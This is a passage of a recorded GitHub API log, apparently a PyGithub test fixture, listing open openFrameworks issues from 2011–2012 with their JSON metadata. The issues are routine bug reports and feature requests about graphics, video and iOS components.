now.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/565","comments":1,"milestone":null,"number":565,"html_url":"https://github.com/openframeworks/openFrameworks/issues/565","assignee":{"url":"https://api.github.com/users/julapy","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":331382},"title":"Textfield in ofxiPhoneKeyboard upside down in landscape","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2011-05-05T14:20:42Z","state":"open","user":{"url":"https://api.github.com/users/labatrockwell","gravatar_id":"e6d243a56cd069a225f56f4a388e8838","login":"labatrockwell","avatar_url":"https://secure.gravatar.com/avatar/e6d243a56cd069a225f56f4a388e8838?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","id":313943},"id":853551,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}}] https GET api.github.com None /repos/openframeworks/openFrameworks/issues?page=10 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4934'), ('content-length', '43807'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next", ; rel="last", ; rel="first", ; rel="prev"'), ('etag', '"78e9c565cba926f6a72fa2b7dd021b78"'), ('date', 'Tue, 29 May 2012 19:27:19 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2011-12-03T21:20:01Z","body":"Does anybody know the status of this?\r\nI would like to help but I'm not sure where to start. Is the `iphone-dev-0061` the branch to work on this?\r\nI just want to know what's been done or whether there are plans in the works.\r\n\r\nI have posted this in the forum but have not received any response.\r\nhttp://forum.openframeworks.cc/index.php/topic,4089.msg29156.html#msg29156","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/564","comments":1,"milestone":null,"number":564,"html_url":"https://github.com/openframeworks/openFrameworks/issues/564","assignee":null,"title":"ofxShader for iOS","labels":[],"closed_at":null,"created_at":"2011-05-04T18:35:58Z","state":"open","user":{"url":"https://api.github.com/users/chrisirhc","gravatar_id":"22d0038769b1786fcdc0983bdb2e4033","login":"chrisirhc","avatar_url":"https://secure.gravatar.com/avatar/22d0038769b1786fcdc0983bdb2e4033?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":132584},"id":850096,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-05-12T08:58:12Z","body":"it's compiling now but doesn't work in openGL ES.\r\n\r\nalso take a look at setupShadow generating depthBuffer as texture, when it's released as a renderbuffer","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/560","comments":2,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":560,"html_url":"https://github.com/openframeworks/openFrameworks/issues/560","assignee":null,"title":"fix ofFbo for openGL ES","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/android","name":"android","color":"2bc4ad"}],"closed_at":null,"created_at":"2011-04-30T17:21:39Z","state":"open","user":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":48240},"id":833772,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-04-26T00:37:56Z","body":"nothing fancy, but I have an implementation of ofxCvHaarFinder that draws, and it's useful for debugging. something like:\n\n``` c++\n void ofxCvHaarFinder::draw( float x, float y ) {\n\t\t// ofPushStyle(); ?\n\t\tofEnableAlphaBlending();\n\t\tofSetColor( 255,0,200,100 );\n\t\tglPushMatrix();\n\t\t\n\t\tglTranslatef( x, y, 0.0 );\n\t\t\n\t\tofNoFill();\n\t\tfor( int i=0; i007 than <007. this can be changed in the ofStyle() constructor.\r\n\r\nalso, @elliotwoods it would be great to have a comment next to each of the constants in enum ofDrawBitmapMode explaining what they do.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/520","comments":1,"milestone":null,"number":520,"html_url":"https://github.com/openframeworks/openFrameworks/issues/520","assignee":null,"title":"ofDrawBitmapString default behavior has changed","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-04-01T06:37:16Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":723496,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-03-31T17:49:33Z","body":"it's obvious if you've used opengl directly before, but i would expect something more like:\r\n\r\n\tvoid ofSetTextureInterpolation(ofInterpolationType downscale, ofInterpolationType upscale)","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/519","comments":0,"milestone":null,"number":519,"html_url":"https://github.com/openframeworks/openFrameworks/issues/519","assignee":null,"title":"ofSetMinMagFilters() is confusingly named","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2011-03-31T17:49:33Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":721833,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-03-17T00:51:48Z","body":"movieGrabberExample => videoGrabberExample\r\nmoviePlayerExample => videoPlayerExample\r\n\r\nthere are probably other examples of this, but this one strikes me as particularly odd. there's probably some historical reason... :)","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/510","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":510,"html_url":"https://github.com/openframeworks/openFrameworks/issues/510","assignee":null,"title":"movieGrabber/PlayerExamples are poorly named","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bitesize","name":"bitesize","color":"65a300"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2011-03-22T06:47:02Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":693126,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-03-21T01:01:25Z","body":"i accidentally initialized my ofFbo with setupShadow() instead of setup(), and when i said draw() it caused EXC_BAD_ACCESS. draw() calls getTexture(), so maybe the best way to handle this is to put a check inside getTexture() like this:\r\n\r\n\tif(textures.size() == 0) {\r\n\t\tofLog(OF_LOG_ERROR, \"You must call ofFbo::setup() before you can use an FBO\");\r\n\t}\r\n\treturn textures[attachmentPoint];","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/507","comments":0,"milestone":null,"number":507,"html_url":"https://github.com/openframeworks/openFrameworks/issues/507","assignee":null,"title":"ofFbo::draw() causes EXC_BAD_ACCESS when setup() isn't called","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2011-03-21T01:01:25Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":689769,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-03-20T17:35:05Z","body":"i know the reason for this is because the mappings are OS and mouse dependent, and that it's GLUT slowing us down here, but i think we could at least add a guess like OF_MOUSE_LEFT = 0, OF_MOUSE_MIDDLE= 1, OF_MOUSE_RIGHT = 2, etc.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/503","comments":0,"milestone":null,"number":503,"html_url":"https://github.com/openframeworks/openFrameworks/issues/503","assignee":null,"title":"no OF_MOUSE_LEFT or OF_MOUSE_RIGHT","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2011-03-20T17:35:05Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":688955,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-12-02T15:48:41Z","body":"you need to use bUse3D flag but even then graphics aren't saved to pdf as they look on screen. \r\ntry the OF_ORIENTATION_90_LEFT or 90_RIGHT to reproduce. ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/502","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":502,"html_url":"https://github.com/openframeworks/openFrameworks/issues/502","assignee":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":48240},"title":"ofSetOrientation doesn't work for cairo","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-03-18T09:17:36Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144000},"id":684091,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-03-18T03:56:02Z","body":"it looks like ofGLRenderer::drawString is currently overriding whatever the current blend mode is:\n\n\tglEnable(GL_BLEND);\n\tglBlendFunc(GL_SRC_ALPHA, GL_ONE_MINUS_SRC_ALPHA);\n\nand then setting it back later.\n\ni'm guessing this is so the empty/alpha part of the bitmap font is drawn.\n\ninstead of using glBlendFunc i would suggest glAlphaFunc... but it looks like as of OpenGL ES 2.0 glAlphaFunc doesn't exist anymore :(\n\nnot sure what to do, but it's really weird to have ofSetColor(255) work, but not ofSetColor(255, 254). e.g.:\n\n\tofBackground(128);\n\tofEnableAlphaBlending();\n\tofSetColor(255, 254);\n\tofDrawBitmapString(\"255, 254\", 10, 20);\n\tofSetColor(255, 255);\n\tofDrawBitmapString(\"255, 255\", 10, 40);\n\tofDisableAlphaBlending();","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/501","comments":0,"milestone":null,"number":501,"html_url":"https://github.com/openframeworks/openFrameworks/issues/501","assignee":null,"title":"ofDrawBitmapString / ofGLRenderer::drawString doesn't work with alpha","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2011-03-18T03:54:34Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":683732,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-12-03T10:41:35Z","body":"right now ofImage::getPixelsRef() is always non-const, as well as ofImage::getPixels()","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/500","comments":4,"milestone":null,"number":500,"html_url":"https://github.com/openframeworks/openFrameworks/issues/500","assignee":null,"title":"missing const version of getPixelsRef()","labels":[],"closed_at":null,"created_at":"2011-03-14T19:14:21Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":672608,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}}] https GET api.github.com None /repos/openframeworks/openFrameworks/issues?page=11 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4933'), ('content-length', '40272'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next", ; rel="last", ; rel="first", ; rel="prev"'), ('etag', '"b87c61471553096d60e5ff8b292ff704"'), ('date', 'Tue, 29 May 2012 19:27:20 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"milestone":null,"state":"open","user":{"gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"osx movieplayer problem on reloading","html_url":"https://github.com/openframeworks/openFrameworks/issues/495","comments":0,"assignee":null,"updated_at":"2011-03-09T16:17:56Z","body":"http://www.openframeworks.cc/forum/viewtopic.php?f=7&t=5729&view=unread#unread","number":495,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/495","labels":[{"color":"b31d1d","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug"}],"id":659446,"closed_at":null,"created_at":"2011-03-09T16:17:56Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"GLUT 007 hack","html_url":"https://github.com/openframeworks/openFrameworks/issues/491","comments":0,"assignee":null,"updated_at":"2011-03-04T14:44:53Z","body":"it seems that some commented defines are still being preprocessed and making gdb behave weird:\r\n\r\nhttp://www.openframeworks.cc/forum/viewtopic.php?f=4&t=5602&view=unread#unread","number":491,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/491","labels":[{"color":"b31d1d","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug"}],"id":646846,"closed_at":null,"created_at":"2011-03-04T14:44:53Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"close corners on basic shapes?","html_url":"https://github.com/openframeworks/openFrameworks/issues/490","comments":0,"assignee":null,"updated_at":"2011-03-03T16:35:17Z","body":"http://www.openframeworks.cc/forum/viewtopic.php?f=8&t=5678&view=unread#unread\r\n\r\nperhaps use style.linewith? won't work if you use glLineWidth though","number":490,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/490","labels":[{"color":"b31d1d","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug"}],"id":643861,"closed_at":null,"created_at":"2011-03-03T16:35:17Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"893ec14dc008e3774afe5841115920d6","url":"https://api.github.com/users/jonbro","login":"jonbro","id":1597,"avatar_url":"https://secure.gravatar.com/avatar/893ec14dc008e3774afe5841115920d6?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"ofOrientation incompatible with iOS addon","html_url":"https://github.com/openframeworks/openFrameworks/issues/486","comments":0,"assignee":{"gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","url":"https://api.github.com/users/julapy","login":"julapy","id":331382,"avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"updated_at":"2012-03-10T04:50:03Z","body":"the existing iOS orientation methods are not compatible with the virtual functions that they inherit from. The new virtuals use a ofOrientation enum, and the old functions use ints.\r\n\r\nThis issue was introduced in https://github.com/openframeworks/openFrameworks/commit/38011d54","number":486,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/486","labels":[{"color":"2babad","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS"},{"color":"b31d1d","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug"}],"id":635112,"closed_at":null,"created_at":"2011-02-28T18:14:04Z"},{"milestone":{"state":"open","description":"","title":"0073 Release","due_on":"2012-07-30T07:00:00Z","closed_issues":0,"open_issues":5,"number":6,"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/6","creator":{"gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":62090,"created_at":"2011-12-03T15:37:49Z"},"state":"open","user":{"gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"grabFrame/idleFrame deprecation","html_url":"https://github.com/openframeworks/openFrameworks/issues/484","comments":12,"assignee":{"gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"updated_at":"2012-04-24T21:04:32Z","body":"it would be nice to start deprecating grabFrame() and idleFrame() (but maybe wait a couple years to actually remove them) , and change the examples to only use update() and isFrameNew().","number":484,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/484","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"37c200","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy"}],"id":613171,"closed_at":null,"created_at":"2011-02-20T17:56:02Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"ace632f74988653fdbde09225134bfdd","url":"https://api.github.com/users/nemik","login":"nemik","id":62301,"avatar_url":"https://secure.gravatar.com/avatar/ace632f74988653fdbde09225134bfdd?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"ofVideoPlayer bug when loading subsequent movies after the first one","html_url":"https://github.com/openframeworks/openFrameworks/issues/475","comments":0,"assignee":null,"updated_at":"2011-02-14T17:11:08Z","body":"Within 0062, inside libs/openFrameworks/video/ofVideoPlayer.cpp on line 314 there is a check for height and width not being 0, then \"bDoWeAlreadyHaveAGworld = true;\" is set. However, this prevents other movies after the first from being loaded into that instance of ofVideoPlayer. \r\nI have posted about this in the forum with a fix (to just remove that check) here: http://www.openframeworks.cc/forum/viewtopic.php?f=8&t=5222\r\n\r\nInside the latest code, it is within ofQuickTimePlayer.cpp https://github.com/openframeworks/openFrameworks/blob/master/libs/openFrameworks/video/ofQuickTimePlayer.cpp#L281.","number":475,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/475","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"b31d1d","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug"}],"id":598097,"closed_at":null,"created_at":"2011-02-14T17:11:08Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","url":"https://api.github.com/users/danomatika","login":"danomatika","id":480637,"avatar_url":"https://secure.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"object init/load state is not consistently testable","html_url":"https://github.com/openframeworks/openFrameworks/issues/463","comments":0,"assignee":null,"updated_at":"2011-02-07T19:58:23Z","body":"I like to be able to know when an object has successfully initialized or loaded and OF provides for this, for the most part, but in an inconsistent manner ie\r\n\r\nofVideoGrabber::initGrabber() returns a bool, but ofVideoGrabber:bInitialized is protected and therefore not accessible\r\n\r\nwhile\r\n\r\nofTrueTypeFont::bLoadedOk is public, but ofTrueTypeFont::loadFont() returns void\r\n\r\nand\r\n\r\nofImage::loadImage() returns a bool and ofLoadImage::bAllocated() returns a bool, yet ofImage::setFromPixels() returns void\r\n\r\nI propose all loadable/initable objects have loading functions which always return a bool and a testable function (isInited(), isLoaded(), etc) for use after loading. Ideally, the testable functions would always be named the same ie myImage.isLoaded(), myVideoGrabber().isLoaded(), myFont.isLoaded() but of course a general name may not apply to all situations (myVideoGrabber.isInited() probably makes more sense).\r\n\r\nHell, all the load functions could be overloaded ie ofImage::load(string filename), ofImage::load(ofPixels pixels), ofImage::load(unsigned char* pixels) across different objects, ofTrueTypeFont::load(string filename), ofVideoGrabber::load(int w, int h, int deviceID). This consistency looks nice to anal me. but might be confusing to newbies and of course would break old code (unless wrapped for legacy compatibility). It seems a little annoying that every objects seems to have it's own way of checking this and that ...","number":463,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/463","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"37c200","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy"}],"id":581395,"closed_at":null,"created_at":"2011-02-07T19:58:23Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"8022cb5f529975afbc64cc9312008d8c","url":"https://api.github.com/users/nardove","login":"nardove","id":277690,"avatar_url":"https://secure.gravatar.com/avatar/8022cb5f529975afbc64cc9312008d8c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"OpenCV cvSobel() not working with latest master branch","html_url":"https://github.com/openframeworks/openFrameworks/issues/462","comments":0,"assignee":null,"updated_at":"2011-02-07T15:58:19Z","body":"Hi,\r\n\r\nI get the following error:\r\n// INIT OF ERROR\r\nOF_WARNING: ofBaseVideoPlayer::setPixelFormat not implemented\r\nOpenCV Error: Assertion failed (src.size() == dst.size() && src.channels() == dst.channels() && ((src.depth() == CV_8U && (dst.depth() == CV_16S || dst.depth() == CV_32F)) || (src.depth() == CV_32F && dst.depth() == CV_32F))) in cvSobel, file /Users/theo/Documents/CODE/__OPENFRAMEWORKS/gitOF/__BuildAllLibs/OpenCV-2.2.0/modules/imgproc/src/deriv.cpp, line 347\r\nterminate called after throwing an instance of 'cv::Exception'\r\n what(): /Users/theo/Documents/CODE/__OPENFRAMEWORKS/gitOF/__BuildAllLibs/OpenCV-2.2.0/modules/imgproc/src/deriv.cpp:347: error: (-215) src.size() == dst.size() && src.channels() == dst.channels() && ((src.depth() == CV_8U && (dst.depth() == CV_16S || dst.depth() == CV_32F)) || (src.depth() == CV_32F && dst.depth() == CV_32F)) in function cvSobel\r\n// END OF ERROR\r\n\r\nWhen I try to call the cvSobel method like this:\r\ncvSobel( grayImage.getCvImage(), grayImage.getCvImage(), 0, 1, 3 );\r\n\r\nThis works fine in 0062.\r\n\r\nCheers\r\n- rS","number":462,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/462","labels":[{"color":"b31d1d","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug"}],"id":580717,"closed_at":null,"created_at":"2011-02-07T15:58:19Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","url":"https://api.github.com/users/danomatika","login":"danomatika","id":480637,"avatar_url":"https://secure.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"get number of input devices and device IDs from ofVideoGrabber","html_url":"https://github.com/openframeworks/openFrameworks/issues/461","comments":0,"assignee":null,"updated_at":"2011-02-07T19:38:51Z","body":"Currently, the ofVideoGrabber can list devices to stdout, but does not return the number of available devices. I propose that either listDevices() return an int or a new function be added, something like getNumDevices() or a getDeviceNums() which returns a vector of valid device ids. This could be related to Arturo's Issue where the devices could be retrieved as strings. I think it makes sense to have these as static functions so that you could open all available cameras into an Array of ofVideoGrabbers by retrieving the number of devices and their ids to open 